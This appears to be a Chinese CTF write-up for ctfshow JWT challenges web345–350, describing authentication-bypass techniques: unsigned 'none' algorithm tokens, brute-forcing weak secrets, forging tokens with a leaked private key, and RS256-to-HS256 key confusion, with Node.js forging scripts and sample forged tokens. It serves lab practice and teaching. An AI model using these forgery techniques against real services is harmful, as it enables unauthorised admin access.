Ctfshow web入门 JWT篇 web345-web350 详细题解 全

CTFshow JWT web345

先看题目,提示admin。

抓个包看看看。

好吧我不装了,其实我知道是JWT。直接开做。

在jwt.io转换后,发现不存在第三部分的签证,也就不需要知道密钥。

全称是JSON Web Token。

通俗地说,JWT的本质就是一个字符串 ,它是将用户信息保存到一个Json字符串中,然后进行编码后得到一个JWT token,并且这个JWT token带有签名信息,接收后可以校验是否被篡改,所以可以用于在各方之间安全地将信息作为Json对象传输。

JWT由3部分组成:标头(Header)、有效载荷(Payload)和签名(Signature)。在传输的时候,会将JWT的3部分分别进行Base64编码后用.进行连接形成最终传输的字符串

JWTString = Base64(Header).Base64(Payload).HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

这里只需要注意访问的是/admin/而不是/admin因为访问/admin表示访问admin.php而访问/admin/表示访问的是admin目录下默认的index.php

复制代码
base64解码之后user改成admin再编码。
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2ODA1MDY0NzYsImV4cCI6MTY4MDUxMzY3NiwibmJmIjoxNjgwNTA2NDc2LCJzdWIiOiJhZG1pbiIsImp0aSI6ImQxNjI3NDRhZDZiMTk0ZDk4MmEzNjcwMTkzMmFlZTFiIn1d
//不知道为什么出不来

CTFshow JWT web346

这次有算法了。

法一:alg字段改为none,sub改为admin脚本加密。(后面一定要加点)

法二:爆破密钥。是123456

CTFshow JWT web347

题目提示弱口令。

方法一:脚本爆破。

方法二: jwt-cracker工具爆破。

复制代码
用法:
kali文件夹开终端
sudo su换成root
docker run -it --rm  jwtcrack JWT字符串

获取密码为123456,在官网上面输入密码,改成admin,自动会给我们想要的jwt字符串。 //六位有点慢,快一个小时了,不爆了。

复制代码
payload:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4MDUzODIxMSwiZXhwIjoxNjgwNTQ1NDExLCJuYmYiOjE2ODA1MzgyMTEsInN1YiI6ImFkbWluIiwianRpIjoiOTY2YTNhMmQyMDc2YzY5M2NmMmNjMDMyZTI2Mzc2YWQifQ.DhAEchqVrSifkRd7vHUhXG2fezIUGZq4LDyvUdhdEc0

CTFshow JWT web348

jwt-cracker工具爆破,密钥是aaab,秒出。

CTFshow JWT web349

考点:公私钥泄密之【私钥】泄密。

还是JWT,不过这次变成了安全度更高的公私钥加密。


题目自带一个附件app.js,估计是源码。

js 复制代码
/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});

可以看到,题目把私钥和公钥放在了web目录,我们访问就可以直接下载,造成了私钥公钥的泄露。

有了公私钥,我们就能生成JWT签名了,这里我们选择使用NodeJs脚本来生成签名。

js 复制代码
const jwt = require('jsonwebtoken');
const fs = require('fs');

var privateKey = fs.readFileSync(process.cwd()+'\\private.key');
// console.log(privateKey);

var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)

环境准备:

1、安装node,安装完之后cmd输入node查看是否安装成功。

2、从脚本代码const jwt = require('jsonwebtoken');中看出,我们需要安装jsonwebtoken(jwt)模块。安装指令如下:(指令在cmd输入)

复制代码
npm install jsonwebtoken --save

也可以直接在编译器里面安装。

3、准备就绪,运行脚本却发现报错secretOrPrivateKey has a minimum key size of 2048 bits for RS256。意思是私钥最短长度要2048,这题的私钥太短了。

产生报错的原因是,JWT版本15以后不支持小密钥,要求密钥最短长度是2048。

大师傅的馊主意(能解决问题但是不提倡):修改JWT的源码

找到\node_modules\jsonwebtoken目录,选择sign.js文件。

注释130243行。防止他报错。

然后就可以成功生成了。

根据源码,咱们修改完JWT直接根目录POST就能拿到flag。

做后发现,JWT网站也支持使用公私钥伪造,要是下次私钥长度大于2048就直接用网站吧。

CTFshow JWT web350

考点:公私钥泄密之【公钥】泄密。

可以根据公钥,修改算法从 非对称算法(比如RS256) 到 对称密钥算法(HS256)

双方都使用公钥验签,顺利篡改数据

当公钥可以拿到时,如果使用对称密码,则对面使用相同的公钥进行解密

实现验签通过


开题之后界面还是一样。

拿JWT先去网站分析一下,修改点还是user,我们的目标是user=admin

还是一样,有公钥泄露。但是没有私钥泄露。

脚本如下:

js 复制代码
const jwt = require('jsonwebtoken');
const fs = require('fs');

var privateKey = fs.readFileSync(process.cwd()+'\\public.key');
// console.log(privateKey);

var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

得到flag。

题目有提供源码,简单看看。

其他不看了,就看app.js。其他如node_modules文件夹其实是Node环境,没啥好看的。

app.js

js 复制代码
var createError = require('http-errors');  // 导入 'http-errors' 模块,用于创建 HTTP 错误
var express = require('express');  // 导入 'express' 模块,用于创建 Web 应用
var ejs = require('ejs');  // 导入 'ejs' 模块,用于渲染 HTML 模板
var path = require('path');  // 导入 'path' 模块,用于处理文件路径
var cookieParser = require('cookie-parser');  // 导入 'cookie-parser' 模块,用于解析 Cookie
var logger = require('morgan');  // 导入 'morgan' 模块,用于日志记录
var session = require('express-session');  // 导入 'express-session' 模块,用于会话管理
var FileStore = require('session-file-store')(session);  // 导入 'session-file-store' 模块,用于将会话信息存储到文件中

var indexRouter = require('./routes/index');  // 导入 './routes/index' 模块,用于处理根路由请求

var app = express();  // 创建 Express 应用的实例

// 设置会话配置
var identityKey = 'auth';  // 定义用于标识会话的键名

app.use(session({
  name: identityKey,  // 设置会话的名称
  secret: 'ctfshow_session_secret',  // 设置用于加密会话数据的密钥
  store: new FileStore(),  // 设置会话数据存储方式为 'session-file-store',即将会话信息存储到文件中
  saveUninitialized: false,  // 设置不保存未初始化的会话
  resave: false,  // 设置不重新保存会话
  cookie: {
    maxAge: 60 * 60 * 1000 // 设置会话的有效期为 1 小时(单位是毫秒)
  }
}));

// 设置视图引擎
app.set('views', path.join(__dirname, 'views'));  // 设置视图文件的路径为当前目录下的 'views' 目录
app.engine('html', require('ejs').__express);  // 使用 'ejs' 引擎渲染 HTML 模板
app.set('view engine', 'html');  // 设置视图引擎为 'html'

app.use(logger('dev'));  // 使用 'dev' 格式的日志记录
app.use(express.json());  // 解析 JSON 请求体
app.use(express.urlencoded({ extended: false }));  // 解析 URL 编码请求体
app.use(cookieParser());  // 解析 Cookie
app.use(express.static(path.join(__dirname, 'public')));  // 设置静态文件目录为当前目录下的 'public' 目录

app.use('/', indexRouter);  // 使用导入的路由模块来处理根路由请求

// 捕获 404 错误并转发到错误处理中间件
app.use(function(req, res, next) {
  next(createError(404));  // 创建 404 错误,并转发给下一个中间件或错误处理中间件
});

// 错误处理中间件
app.use(function(err, req, res, next) {
  // 设置本地变量,仅在开发环境中提供错误信息
  res.locals.message = err.message;  // 错误消息
  res.locals.error = req.app.get('env') === 'development' ? err : {};  // 判断是否为开发环境,若是则提供错误对象

  // 渲染错误页面,返回错误状态码或默认 500 状态码
  res.status(err.status || 500);  // 设置响应状态码为错误状态码或默认 500 状态码
  res.render('error', {msg:err.message});  // 渲染名为 'error' 的模板,传入错误消息作为参数
});

module.exports = app;  // 导出创建的 Express 应用实例

?????我怎么感觉这是NodeJs原型链污染的源码包。。。。

相关推荐
范文杰2 小时前
AI 时代如何更高效开发前端组件?21st.dev 给了一种答案
前端·ai编程
拉不动的猪3 小时前
刷刷题50(常见的js数据通信与渲染问题)
前端·javascript·面试
拉不动的猪3 小时前
JS多线程Webworks中的几种实战场景演示
前端·javascript·面试
FreeCultureBoy3 小时前
macOS 命令行 原生挂载 webdav 方法
前端
uhakadotcom4 小时前
Astro 框架:快速构建内容驱动型网站的利器
前端·javascript·面试
uhakadotcom4 小时前
了解Nest.js和Next.js:如何选择合适的框架
前端·javascript·面试
uhakadotcom4 小时前
React与Next.js:基础知识及应用场景
前端·面试·github
uhakadotcom4 小时前
Remix 框架:性能与易用性的完美结合
前端·javascript·面试
uhakadotcom4 小时前
Node.js 包管理器:npm vs pnpm
前端·javascript·面试
LaoZhangAI5 小时前
2025最全GPT-4o图像生成API指南:官方接口配置+15个实用提示词【保姆级教程】
前端